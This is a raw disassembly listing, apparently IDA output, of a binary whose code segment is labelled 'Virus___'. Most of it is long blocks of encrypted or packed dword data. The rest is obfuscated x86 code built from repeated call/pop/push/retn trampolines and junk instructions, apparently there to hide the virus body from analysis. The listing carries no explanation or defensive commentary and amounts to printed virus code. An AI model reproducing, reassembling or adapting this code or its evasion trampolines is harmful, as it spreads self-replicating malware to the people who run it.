5886C868h, 5C518CF1h, 0DC6BD9ACh dd 95984232h, 7AFF0960h, 5BFD8BF2h, 0CF8A8CE9h, 2BB9E68Ch dd 504ACF39h, 0E7518CE9h, 329387E2h, 6E7510A0h, 0B575384Fh dd 5C158CE7h, 9E77F2h, 57E57D92h, 13C1FD17h, 30B4888h dd 59D539E8h, 8CAB8BF2h, 0B4788C83h, 5C158CEAh, 649D6C9h dd 5861D860h, 5886C868h, 5C518CFEh, 916BDEABh, 0D797BA67h dd 4730417Ch, 0F99005EEh, 5F8D97E0h, 47608D54h, 59274AEEh dd 1B5697F5h, 5CAE01E6h, 93D58CE9h, 372AC766h, 5C160CE6h dd 8D0A8CE9h, 0B1A3E4E2h, 3AF4D756h, 0DD0E7B62h, 0B36BA8EDh dd 5C3ED0F7h, 5C2964BCh, 1358CE9h, 3003D12Ah, 18C488CDh dd 5CBB88CDh dd 9148CE9h, 713D662Ah, 0D7F279FFh, 470C497Ch, 5E9C83EEh dd 0D68A8CE9h, 4DF07323h, 77A597C7h, 47469D54h, 262D01EEh dd 0D7539297h, 0E5FA7310h, 0BF3ABF7h, 69030960h, 0E6238BF2h dd 0D9648324h, 5B4A90ECh, 0AA8E6AEh, 5C548F01h, 9F74ACE9h dd 786105B7h, 78CE0DEDh, 5C459BEDh, 9FF4CAE9h, 35BA24DFh dd 85D3338Fh, 0BDF6328Fh, 5C2A8801h, 8005F6E9h, 0A401EA68h dd 5DFAEAB9h, 78E60776h, 5C5665EDh, 2F9B8CE9h, 79678012h dd 0B52A07C8h, 5C158CF9h, 0A8F5E775h, 68CC93F0h, 46B3A6A0h dd 0DE861746h, 588CC860h, 5C548000h, 709156E9h, 671AE90Fh dd 4B29E63Bh, 5C2FD4EDh, 5CA164BCh, 1718CE9h, 3021D12Ah dd 18D588CDh, 5C3088CDh, 9508CE9h, 0B4ADB12Ah, 5D28F373h dd 5CA28300h, 0A6CE91E9h, 4B3EDD2Eh, 0DE9CD7C8h, 9A5029C1h dd 72043916h, 0EB858BF2h, 26C00127h, 36A59297h, 5FB9DBE9h dd 7CA88CE9h, 0D50B4FB6h, 0DD2EA895h, 4911A8ADh, 1B8A8CE9h dd 18144FBEh, 5CA28B01h, 20667BE9h, 5499C12Ah, 0AFEB83B0h dd 0B39C5C16h, 0B58005B9h, 38D97E5h, 44980960h, 5CC88BF2h dd 5C5264BEh, 3888CE9h, 20DDD32Ah, 18AB88CDh, 5C0D88CDh dd 0BCD8CE9h, 0B20B962Ah, 9A5BC63Dh, 474D896Ch, 5CC2CBEEh dd 5C5764BBh, 60A8CE9h, 89CD62Ah, 180B88CDh, 5C5D88CDh dd 0EE08CE9h, 0FB5A4B2Ah, 0C9236DEEh, 5B4FA800h, 5C2A8801h dd 9129D1E9h, 0BD33EA43h, 0D44ADC19h, 5CA28CEDh, 0A471368Fh dd 588CC862h, 0D65BDEB9h, 5C2A8CEFh, 6D1ADEB9h, 6D85D4B3h dd 0F11A338Fh, 5C29D4B3h, 5C519F01h, 79F0EBE9h, 1FB9FA51h dd 0B139CC76h, 8411B9D7h, 808733A2h, 5C4000E6h, 621C8CE9h dd 22A3E4Ah, 588CC860h, 0DBF2457h, 5C40D4CDh, 5C1664B9h dd 4AA8CE9h, 18CCD42Ah, 182388CDh, 5C4D88CDh, 0CE88CE9h dd 5597542Ah, 0E2221D4Fh, 53AFD390h, 3A949A1Ah, 68806668h dd 72B33916h, 0DD378BF2h, 0D14DD037h, 422AF66Ch, 5EA183EEh dd 0D7158CE9h, 5F0B8310h, 53458CE9h, 8C5D4556h, 744C3962h dd 0D9218BF2h, 5B4F8FECh, 0B4798C83h, 5C158CEAh, 749D7C9h dd 5861D060h, 5886C868h, 5C518CFFh, 856BDFAAh, 0DD320DEBh dd 0A36C0A3Bh, 0F15E639h, 5C8A8F01h, 9F1EACE9h, 78FE05B2h dd 78150DEDh, 5CA89BEDh, 9F07CFE9h, 946E2069h, 5D5C0960h dd 5CE08BF2h, 5C4664B9h, 4828CE9h, 18D8D42Ah, 182988CDh dd 5C4388CDh, 0C6A8CE9h, 0EC520D2Ah, 8406EA0Eh, 5C4404E6h dd 785A8CE9h, 5C5F64EDh, 9ED78CE9h, 97D5FD05h, 41AFD42Eh dd 0DFBB1089h, 5C8A8600h, 0BF208EE9h, 2F2B4838h, 6035F80h dd 0D8A74CE3h, 5C548FBCh, 0B47C8C83h, 5C158CEAh, 249D2C9h dd 5861F860h, 5886C868h, 5C518CF0h, 376BDAAFh, 441C9689h dd 71A7056Ch, 9A1297CCh, 4796896Ch, 0E9CEC3EEh, 5BB9A2FCh dd 0D6124381h, 5CAF6459h, 82F68CE9h, 607FC777h, 5894D5FFh dd 0AAA279CDh, 0B45E6E7h, 5CA28F01h, 9F0EACE9h, 78D405B6h dd 78100DEDh, 5C2A98EDh, 9F42CBE9h, 5C846450h, 477F8CE9h dd 0E885856Bh, 6169D8C7h, 0DFB30DC8h, 5C5202E6h, 0D12B8CE9h dd 5B0EB8F8h, 4D3F73B3h, 364297C7h, 5F4ADDE9h, 7C518CE9h dd 0D5F14FB0h, 0DD50A8A5h, 462EA8ADh, 1D158CE9h, 35614FB8h dd 50A2A7F2h, 0A71D8316h, 0D1A033E6h, 42D6F66Ch, 0E54E6EEh dd 5C2A8F01h, 9F4FACE9h, 78DE05B3h, 78010DEDh, 5CA294EDh dd 9F03CEE9h, 1F636127h, 5C466534h, 8BEB8CE9h, 0E14596F1h dd 8D4B53F2h, 3395FFD3h, 132D0E70h, 8CAEFB58h, 81566D68h dd 8ADFF672h, 0D70E4C6Ah, 0B5900518h, 368D97EDh, 5FADDDE9h dd 7CA28CE9h, 0D5084FB0h, 0DDACA8A5h, 4450A8ADh, 1D2A8CE9h dd 95DB4FB8h, 0D7CABAE4h, 47547964h, 152707EEh, 0D55697E8h dd 47ADB174h, 59C907EEh, 3A2D97EAh, 91D05568h, 0D8AE6AAh dd 5C458F01h, 9FFBACE9h, 781D05B0h, 78EC0DEDh, 5C5498EDh dd 9F7BCDE9h, 2AAAEA61h, 9937BDD1h, 0D74297C4h, 0BD23EAF2h dd 47DAC7FEh, 334A358Fh, 5C3E9762h, 5C2964BCh, 1358CE9h dd 3003D12Ah, 18C488CDh, 5CB788CDh, 9148CE9h, 0DD50152Ah dd 402B3D37h, 0B5D3079Dh, 5C158CE2h, 6320527Fh, 62A231ADh dd 6F7576E6h, 0F51E631h, 5CA88F01h, 9F0FACE9h, 787605B2h dd 78510DEDh, 5C8A90EDh, 9F16CFE9h, 7B29D484h, 0B15A093Fh dd 6915BD2Fh, 3A5397FBh, 7EF27A68h, 5EE81960h, 0C1038BF2h dd 5B5EBCBCh, 40A7092Fh, 0E168BF2h, 70F50162h, 0B40B8BF2h dd 5C2A8CEDh, 0EBCB5140h, 5C8A9F00h, 2A68F9E9h, 5719DB21h dd 153FB7E2h, 0FA9AAD75h, 406D35Dh, 4EC2ECB9h, 72158CE9h dd 89C42FFAh, 719D0ABBh, 663DD172h, 2D28C458h, 5CBB650Dh dd 0C4558CE9h, 65DED3AFh, 271DC885h, 3B8FC34h, 0F9E5FA9h dd 0BF19D69Eh, 3D51DDD4h, 588CC862h, 5C5606E6h, 5788CE9h dd 5BFD8C62h, 0A88A8CE9h, 6F0D17DBh, 5B4B67E8h, 20518CE9h dd 1551BDC5h, 0D50A0D4Ch, 0E62EA8ADh, 537D68A5h, 0A37407B1h dd 476B9D5Ch, 8A29EAEEh, 222B0964h, 5CC28BF7h, 5C5764BAh dd 70A8CE9h, 9CD72Ah, 180B88CDh, 5C5188CDh, 0FE18CE9h dd 0C950F52Ah, 5BB3A1B8h, 5C3E5C16h, 5C2964BEh, 3358CE9h dd 2003D32Ah, 18C488CDh, 5CBA88CDh, 0B168CE9h, 3489BE2Ah dd 0D9DD82DCh, 5B31B960h, 5C170AE6h, 97018CE9h, 0E45E6A9h dd 5CA28F01h, 9F0BACE9h, 78FC05B3h, 78100DEDh, 5C2A98EDh dd 9F47CEE9h, 110705CEh, 0D74297F8h, 5C2979E9h, 0B4018C83h dd 5CA88CEAh, 497D4C9h, 580EC860h, 5831C868h, 5C8A8CF4h dd 7F86DCA9h, 9FB8F191h, 4CC113BAh, 212D05E1h, 0B55397F1h dd 5C2A8CEFh, 3B12416Fh, 0C9017752h, 5B5EA6DCh, 5CA25C00h dd 0BED401E9h, 36AF9242h, 5FBCDEE9h, 7C2A8CE9h, 0D54F4FB3h dd 0DD8EA8BDh, 4941A8ADh, 1EA28CE9h, 22B64FBBh, 5CAE07E6h dd 0E1578CE9h, 5B319204h, 4DA83960h, 0D5DA8BF2h, 6FCA8EDh dd 0A3C20862h, 4743157Ch, 5417EAEEh, 0B4C9018Bh, 532D9242h dd 5C15946Ah, 5C9965E9h, 3BA38CE9h, 933455F9h, 5EEE1641h dd 1A8D8A9Eh, 8CA074EBh, 4DC21FCFh, 0B2158CE9h, 0F0A5E0E3h dd 42645CACh, 0E2242CFFh, 0F49AD806h, 4C40DCB3h, 46548CE9h dd 0EC889878h, 201E02A1h, 0A62753BEh, 0E683F304h, 3FB9BE31h dd 0D95E1FB3h, 5CA88CEAh, 0C823BE6h, 58A34662h, 74AAEACDh dd 0D35B0DB3h, 0A30CBCC4h, 47AFF17Ch, 8EE683EEh, 0B52D051Ch dd 0D75397EDh, 4731C97Ch, 59904AEEh, 0F8D97F5h, 0B4168C83h dd 5CA28CEAh, 792D7C9h, 588CD060h, 5870C868h, 5C2A8CF4h dd 45D6DFAAh, 0DEFA4ABh, 0A26787CDh, 0CD3785A3h, 0B45697DAh dd 5CA88CEDh, 0F6D30896h, 5C256589h, 69AD8CE9h, 0B735F5B7h dd 0B67B60Fh, 0B1097FDCh, 0B401ED8Fh, 5CA88CF8h, 0C2A6A8Eh dd 0C4267E78h, 0C3A9E782h, 0E570DDAAh, 5393A02h, 5886C862h dd 5C426589h, 3658CE9h, 0A0FF589Ch, 974CF4CFh, 6AFB4C2Bh dd 3AC2140Ah, 3DB50732h, 0D7C48C62h, 78150513h, 5CC2D4EDh dd 5C5764B8h, 50A8CE9h, 109CD52Ah, 180B88CDh, 5C5288CDh dd 0DE38CE9h, 7A01912Ah, 0C515059Dh, 0A35397CFh, 47049D5Ch dd 0B15E6EEh, 5C8A8F01h, 9F1AACE9h, 78DE05B6h, 78150DEDh dd 5CA898EDh, 9F03CBE9h, 8394EAB5h, 2690019Dh, 0D78D9297h dd 4777FD54h, 0D77273EEh dd 4772AD7Ch, 812D05EEh, 365397E0h, 5FC2DAE9h, 7C158CE9h dd 0D5D44FB7h, 0DD41A89Dh, 48A6A8ADh, 1A518CE9h, 0D5BA4FBFh dd 4776E97Ch, 9AFD07EEh, 4709896Ch, 0E5ECCBEEh, 0A62D3393h dd 0CFCD5E4h, 0A2DAEABBh, 0D7FFBDE6h, 40ED519h, 0CA0E8868h dd 365695EEh, 5F62DBE9h, 7C458CE9h, 0D5FD4FB6h, 0DD55A895h dd 40ACA8ADh, 1B548CE9h, 67394FBEh, 93C1C57Fh, 3ADCC1EFh dd 57AC7C62h, 9CA28CE9h, 39BD9A9Bh, 93952AC4h, 0E9AB7020h dd 5B31A2F8h, 5C158000h, 8A77FE9h, 0AF50A718h, 0F7593C62h dd 26D4013Ch, 7FAF9297h, 477F7D7Ch, 36FA73EEh, 5FFDDCE9h dd 7C8A8CE9h, 0D51D4FB1h, 0DDA6A8ADh, 4555A8ADh, 1CA88CE9h dd 67114FB9h, 73140B39h, 7DC7CB57h, 5C8665A1h, 32AE8CE9h dd 17F1A390h, 4D7C1201h, 0D921BFF2h, 5B4FB988h, 0B47D8C83h dd 5C158CEAh, 349D3C9h, 5861F060h, 5886C868h, 5C518CFDh dd 216BDBAEh, 4051092Fh, 0D7798BF2h, 4721957Ch, 5C8E64EEh dd 3D58CE9h, 8F2815D0h, 0ABDAEAB9h, 588CC862h, 4836B750h dd 3A2A0790h, 0D5B41953h, 0D8EA8ADh, 5C458600h, 0E35212E9h dd 440FFEF1h, 3A2C022h, 0E1DDDAB1h, 5B319E74h, 4DA073B7h dd 0D78D97C7h, 26C00117h, 36A59297h, 5FB9D9E9h, 7CA88CE9h dd 0D5094FB4h, 0DD2EA885h, 4411A8ADh, 198A8CE9h, 0D574FBCh dd 0D75180D2h, 474AA554h, 367873EEh, 5FBCDDE9h, 7C2A8CE9h dd 0D54C4FB0h, 0DD8EA8A5h, 4A41A8ADh, 1DA28CE9h, 0EBFE4FB8h dd 2D2D059Ch, 535397E2h, 5C2A9C60h, 5C1E65E9h, 89438CE9h dd 0A5775E5Ah, 0DC00487Dh, 59D44A4Eh, 0BAF97F5h, 0B056E41Ch dd 0E34C59E8h, 68941E5Dh, 593488CDh, 71F0A5ACh, 0A3A597C8h dd 477F9D5Ch, 9A8E6EEh, 5C548F01h, 9F77ACE9h, 787905B4h dd 78CE0DEDh, 5C4597EDh, 9FF7C9E9h, 25D0031Dh, 89463DA1h dd 4B4D01C0h, 0D1258BF2h, 5C158CEFh, 6D073162h, 0D9C88BF2h dd 5BBCF293h, 0B4038C83h, 5CA88CEAh, 697D6C9h, 580ED860h dd 5831C868h, 5C8A8CF0h, 4086DEABh, 0AF00A5F1h, 5C436547h dd 0DAFF8CE9h, 14D451A2h, 104DCE97h, 0FB25B8Fh, 323180EAh dd 5C2F5C16h, 5CA164B8h, 5718CE9h, 1021D52Ah, 18D588CDh dd 5C3688CDh, 0D548CE9h, 8BA5312Ah, 5DD45DCFh, 5B4BF930h dd 33518CE9h, 0F73FC542h, 0D9DD3EB8h, 5B31A3ACh, 7F2C3162h dd 0D94C8BF2h, 5B5E90ECh, 0FA2E6AAh, 5C518F01h, 9FF3ACE9h dd 780805B2h, 786E0DEDh, 5C159AEDh, 9FD9CFE9h, 5DC05724h dd 47BDD17Ch, 0D322E4EEh, 30174D5Bh, 0DD60A3ADh, 0A371A8DDh dd 5C7FF1CBh, 5C8964BEh, 3658CE9h, 202BD32Ah, 18D088CDh dd 5CB188CDh, 0B138CE9h, 1C96922Ah, 3A81C5BFh, 0E9755F62h dd 5B5EA2F8h, 5CA10DE6h, 0D7378CE9h, 262D0123h, 36539297h dd 5FC2DAE9h, 7C158CE9h, 0D5D44FB7h, 0DD41A89Dh, 45A6A8ADh dd 1A518CE9h, 0D5E84FBFh, 701A44AEh, 4A0301D8h, 0D99C8BF2h dd 5B9188ACh, 5C2F5C16h, 5CA164B9h, 4718CE9h, 1821D42Ah dd 18D588CDh, 5C3288CDh, 0C558CE9h, 0DE1FBD2Ah, 0D5B01D5Ah dd 47B4B16Ch, 0D51E6EEh, 5CA88F01h, 9F0DACE9h, 786605B0h dd 78510DEDh, 5C8A99EDh, 9F14CDE9h, 755B8ACBh, 47746D5Ch dd 842D01EEh, 36539242h, 5FC2DAE9h, 7C158CE9h, 0D5D44FB7h dd 0DD41A89Dh, 40A6A8ADh, 1A518CE9h, 1FA04FBFh, 0EC5CCF61h dd 53C0C2B7h, 0C855C56h, 5C8A8001h, 0EC56B9E9h, 3D6EEA9Ah dd 0AE680E82h, 5CA5658Dh, 53CE8CE9h, 64F655CFh, 0A7F1CB9Ch dd 23ED686h, 0E45E679h, 5CA28F01h, 9F0BACE9h, 78FC05B3h dd 78100DEDh, 5C2A99EDh, 9F47CEE9h, 0C975F49Dh, 5B5E9E70h dd 5CC85462h, 5C5264B8h, 5888CE9h, 10DDD52Ah, 18AB88CDh dd 5C0088CDh, 0DCB8CE9h, 0D122332Ah, 4209406Ch, 0B51E6EEh dd 5CA88F01h, 9F0BACE9h, 785605B6h, 78510DEDh, 5C8A96EDh dd 9F12CBE9h, 963496C7h, 53E98783h, 5CA88265h, 5C5164E9h dd 78868CE9h, 3AB38CADh, 0CD45D62h, 58CC4263h, 0DA2E6CDh dd 5C518F01h, 9FF1ACE9h, 781805B0h, 786E0DEDh, 5C1598EDh dd 9FDBCDE9h, 19F0072Bh, 0CA597C3h, 6D5EDEB9h, 2FBDEB9h dd 52BCBDE6h, 0BD2A8CE9h, 593003B1h, 0A8810AFEh, 835BA4ACh dd 4F8D583h, 40D8D4B3h, 0DA8E6CDh, 5C548F01h, 9F73ACE9h dd 785905B0h, 78CE0DEDh, 5C4590EDh, 9FF3CDE9h, 114F2A45h dd 0EF719B37h, 3AE1ECFFh, 75471160h, 0A3748BF2h, 4787F17Ch dd 0F43632EEh, 0D92BED10h, 5B4AA6E0h, 31490D8Fh, 0A1D14B6Eh dd 532D97C2h, 0D7158CE9h, 551F7338h, 534297C3h, 0D98B5A56h dd 5B4AA4BCh, 73A50960h, 5C3E8BF2h, 5C2964BBh, 6358CE9h dd 803D62Ah, 18C488CDh, 5CBB88CDh, 0E138CE9h, 7FDCCE2Ah dd 3AAEBFE2h, 0D769C753h, 473F1D6Ch, 7B1701EEh, 0D5429256h dd 0E12F8DAAh, 5B4A9F48h, 0E3A93964h, 6FED8BF7h, 0AF2A8CE9h dd 0E426674Dh, 5C8A8CE9h, 5F314CE2h, 0D7A2942Bh, 0F5DA8ADh dd 5CA88C01h, 9FD5D7E9h, 5C2A8CFEh, 4C31D060h, 48AEC860h dd 0A67234B2h, 0BC5D8C42h, 5875C862h, 5CC26C16h, 5C5764BCh dd 10A8CE9h, 309CD12Ah, 180B88CDh, 5C5088CDh, 9E78CE9h dd 0B52A872Ah, 5CA88CFBh, 2167E808h, 4480DDBAh, 95E7709Eh dd 0D4DC7D10h, 9AC48BF5h, 0E3133Ch, 7A703162h, 0B4C98BF2h dd 5C548CE4h, 0C411411Bh, 803A90D9h, 6E9DDDDFh, 5AC683E5h dd 0D5A28CE9h, 47490D64h, 8B23D2EEh, 0F7983164h, 0D1A78BF7h dd 5B0B335Bh, 7A21B951h, 0CDC0BF71h, 77A597F1h, 0E63C4D26h dd 29D7A23Bh, 10A2AE6h, 0E95C158Fh, 0B79FD4ACh, 0ED783105h dd 0ED78E60Dh, 0F305E983h, 66D98BA4h, 59E9F18Bh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0C0E2C351h, 61F5EBCEh, 1820Fh, 0C3F50000h dd 128B0Fh, 0DE90000h, 1D000000h, 0A1401DA5h, 7C6F0DF8h dd 92068ADBh, 51F3BF60h, 9E80F50h, 8C000000h, 1892EEE4h dd 2297FACFh, 61595A51h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 384AAAC3h, 0F5D2F23h dd 1B86h, 15810F00h, 0E9000000h, 10h, 0DA72BC90h, 8F30A108h dd 0C515D8Dh, 782F5881h, 1BD1BD83h, 7500071Bh, 0D5BD8309h dd 71B1Fh, 53501974h, 0B9B8C08Bh, 89000004h, 1B131185h dd 1F9D8D07h, 0FF071DACh, 83585BD3h, 1B1FD5BDh, 17740007h dd 0B9B85350h, 89000004h, 1B131185h, 0C09D8D07h, 0FF071DA8h dd 6A585BD3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 2BAC357h, 29F714E4h, 11E937h dd 218A0000h, 0F9981A50h, 9314D0D2h, 15A7F9B7h, 0F8F5D617h dd 1D870Fh, 66600000h, 0A29C881h, 11E9h, 51FB4600h, 83F072E2h dd 0A0C9EB48h, 1FEFCFB3h, 8B61D50Fh, 0EE9C0h, 6A3C0000h dd 56B53E6Dh, 422C9774h, 5613F33Dh, 6AC18B40h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 765C357h, 7EF6CD0Fh, 0F06C6E0h, 4EBF7BFh, 0 ; --------------------------------------------------------------------------- mov esi, [ebp+71B1149h] push 0 push edi call sub_5772DD and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5772DD proc near ; CODE XREF: Virus___:005772D5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5772DD endp ; --------------------------------------------------------------------------- cmp ds:0C5DB0D0Ch, ebx mov edx, 8FE1BF66h lea eax, [ebp+71B1255h] push 0 push ebp call sub_57730A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57730A proc near ; CODE XREF: Virus___:00577302p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_57730A endp ; --------------------------------------------------------------------------- or al, 26h or ds:8FB3E071h, bh push esi and esi, [ebp+71B22FDh] mov si, di push eax mov di, 8D57h mov [esp], eax push 0 push eax call sub_57733F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57733F proc near ; CODE XREF: Virus___:00577337p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_57733F endp ; --------------------------------------------------------------------------- jg short loc_57738A aad 0E3h inc ecx pop esp xchg eax, esi jz short near ptr loc_5773AD+2 push 0 push 0 push esi call sub_577365 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_577365 proc near ; CODE XREF: Virus___:0057735Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_577365 endp ; --------------------------------------------------------------------------- db 36h, 9Fh, 5Dh ; --------------------------------------------------------------------------- mov ebx, 8B154AB9h mov ebp, 71B2449h push 0 mov [ebp+71B1E81h], eax loc_57738A: ; CODE XREF: Virus___:0057734Fj lea eax, [ebp+71EC2C6h] mov [ebp+71B2E71h], esi push ecx mov [ebp+71B327Dh], esi pop edi add eax, 5 adc di, 6A27h pusha or [ebp+71B2BF9h], eax loc_5773AD: ; CODE XREF: Virus___:00577356j adc al, 78h popa nop push eax jmp loc_5773C0 ; --------------------------------------------------------------------------- dd 3EEC8158h, 191E1A26h ; --------------------------------------------------------------------------- loc_5773C0: ; CODE XREF: Virus___:005773B3j nop mov di, cx push 0 cmc mov esi, 7FCB2364h push 0 push 0 push eax call sub_5773D9 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5773D9 proc near ; CODE XREF: Virus___:005773D1p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5773D9 endp ; --------------------------------------------------------------------------- db 32h, 47h, 0EBh dd 1EA7DCCEh, 8166DD1Ch, 0FFE255EFh, 1B1EA995h, 9C9D8D07h dd 0FF071E97h, 0C9BF66D3h, 4D85FF19h, 6A071B26h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 55D6C355h, 0F7C98899h, 844E9h, 0E800h, 815D0000h, 1EC2D0EDh dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 859D8902h, 81071B12h, 1B2BFDBDh, 7D007h dd 93860F00h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0D58EC357h, 0B68C3E12h dd 8B831950h, 1B3595BDh, 0A59D8B07h, 81071B17h, 100E3h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8B420040h, 1B15D1BDh, 0A5B58B07h, 0B071B1Fh dd 87850FDBh, 8B000000h, 0B5B58BFBh, 83071B18h, 1EC15EBDh dd 840F0007h, 36h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 1BC35040h, 0C0897329h, 8B9FB02Fh, 1B26DDBDh dd 0D6816607h, 77E98E41h, 66000000h, 85C7F28Bh, 71EC15Eh dd 1, 291DB501h, 5FE9071Bh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 900C353h dd 4E03F535h, 8C19D29h, 85C7071Bh, 71EC15Eh, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_577577 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_577577 proc near ; CODE XREF: Virus___:0057756Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_577577 endp ; --------------------------------------------------------------------------- db 36h ; --------------------------------------------------------------------------- pop ebx cmpsd push edi and [edi-764AD6BFh], ch xor bl, [ebx] pop es jno $+6 lea ebx, [ebp+71B17A5h] push 0 push ebp call sub_5775AB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5775AB proc near ; CODE XREF: Virus___:005775A3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5775AB endp ; --------------------------------------------------------------------------- db 57h dd 0FD0D3A7h, 14619589h, 8B66071Bh, 0FF2381F7h, 6AFFFFFEh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 54F2C357h, 0A53FD16Ch, 0FE8h, 98405E00h dd 92A0E23Fh, 19D7180Ah, 0AA5E34A8h, 8C665EFCh, 8BDE81DBh dd 0F67DC732h, 840F04C3h, 67h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0D0C35545h, 0F992C93Dh, 9B457934h dd 0E9F78B35h, 11h, 0F937EAD9h, 78E96427h, 51DD6253h, 6A56538Ch dd 995FF0Fh, 8B071B2Ah, 1B20C5BDh, 60509007h, 9AB7A8B0h dd 50505E61h, 61606052h, 8B0Fh, 0F610000h, 90585A31h, 0E9F2BF0Fh dd 46Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 68C35242h, 0CFA4840Fh, 0FF38BD6h, 0A85h, 0C9816000h dd 636437Fh, 0B0616160h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 21495DF5h, 840FDBD5h dd 6, 0DBDB589h, 70E6071Bh, 0CB58DF81h, 71E475B1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 6BC35040h, 0F67A3BAh dd 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0CAA660C3h, 0BF13AA1Ah, 89733905h, 1B30CD95h dd 6BA07h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 32B726C3h, 0E920C1ECh, 8BE0CB8Ch dd 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 9589F5BCh, 71B0B89h, 104E8C1h, 1B0D418Dh dd 61BD2307h, 66071B24h, 840FE2F7h, 6, 25DDB58Bh, 0D82B071Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 94C35141h dd 0BC9BC6CFh, 0FA4AFC2Fh, 2CB5B529h, 5093071Bh, 8B93F38Bh dd 0FDB5FFF7h, 6A071B2Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 2CFDC353h, 0CF8166E0h dd 95FF2A7Fh, 71B1289h, 16019589h, 0B0071Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 40C35141h, 11D5BD8Bh dd 9589071Bh, 71B3295h, 0EE970E6h, 30000000h, 3829DE87h dd 13DB93B8h, 0DCDC9DDEh, 6A71E4EDh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0C2E6C355h dd 8F19D89h, 613C071Bh, 275830Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0D9612AC3h dd 0DA1A9A95h, 11BF6620h, 880F8Fh, 0F000000h, 6AD8B6h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0F58F6C3h, 689h, 75BD0B00h, 0BA071B06h, 6, 9D858B60h dd 60071B13h, 17EDBD09h, 958B071Bh, 71B0351h, 0C38B6161h dd 79C78166h, 4E8C117h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0A4C35646h, 5CFA729Ch, 0E2F76661h, 0BE7328BEh dd 29D82B48h, 1B2355B5h, 95BD3307h, 58071B1Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B5C35747h, 0EE836E95h dd 0B20D3F7h, 15BD8B7Eh, 2B071B0Ah, 8C880FD8h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 60A9C356h, 16859D8Bh, 0FA8A071Bh, 0CDBD8B61h dd 0B9071B26h, 7, 2DF8166h, 0C1832Dh, 14E96056h, 0F0000000h dd 0C9CD08D6h, 8BA21102h, 5F45C5C1h, 660DF9FDh, 80C0BAB6h dd 5E6103EDh, 860FD93Bh, 12Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0E9C35040h, 0D67F7D67h, 0D98C66CDh dd 29FD9501h, 0C1F6071Bh, 0CF840F04h, 66000000h, 0EBBAD681h dd 2A0995FFh, 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 5C8816C3h, 6A5B9C2Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0F3D6C352h, 47DF7182h, 0BD8BD14Eh, 71B26CDh, 6AC32Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0A2864CC3h, 0E8C9ECFAh, 0Eh, 12FF82A9h, 0F5FAE550h dd 0CA5ED4D2h, 5E98722h, 0D2000000h, 0DB20C3E1h, 8343D5Eh dd 860F0000h, 2Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 54C35545h, 25B58BF9h, 0E9071B1Fh, 2Fh dd 2CB9BD8Bh, 0C08B071Bh, 0E855006Ah, 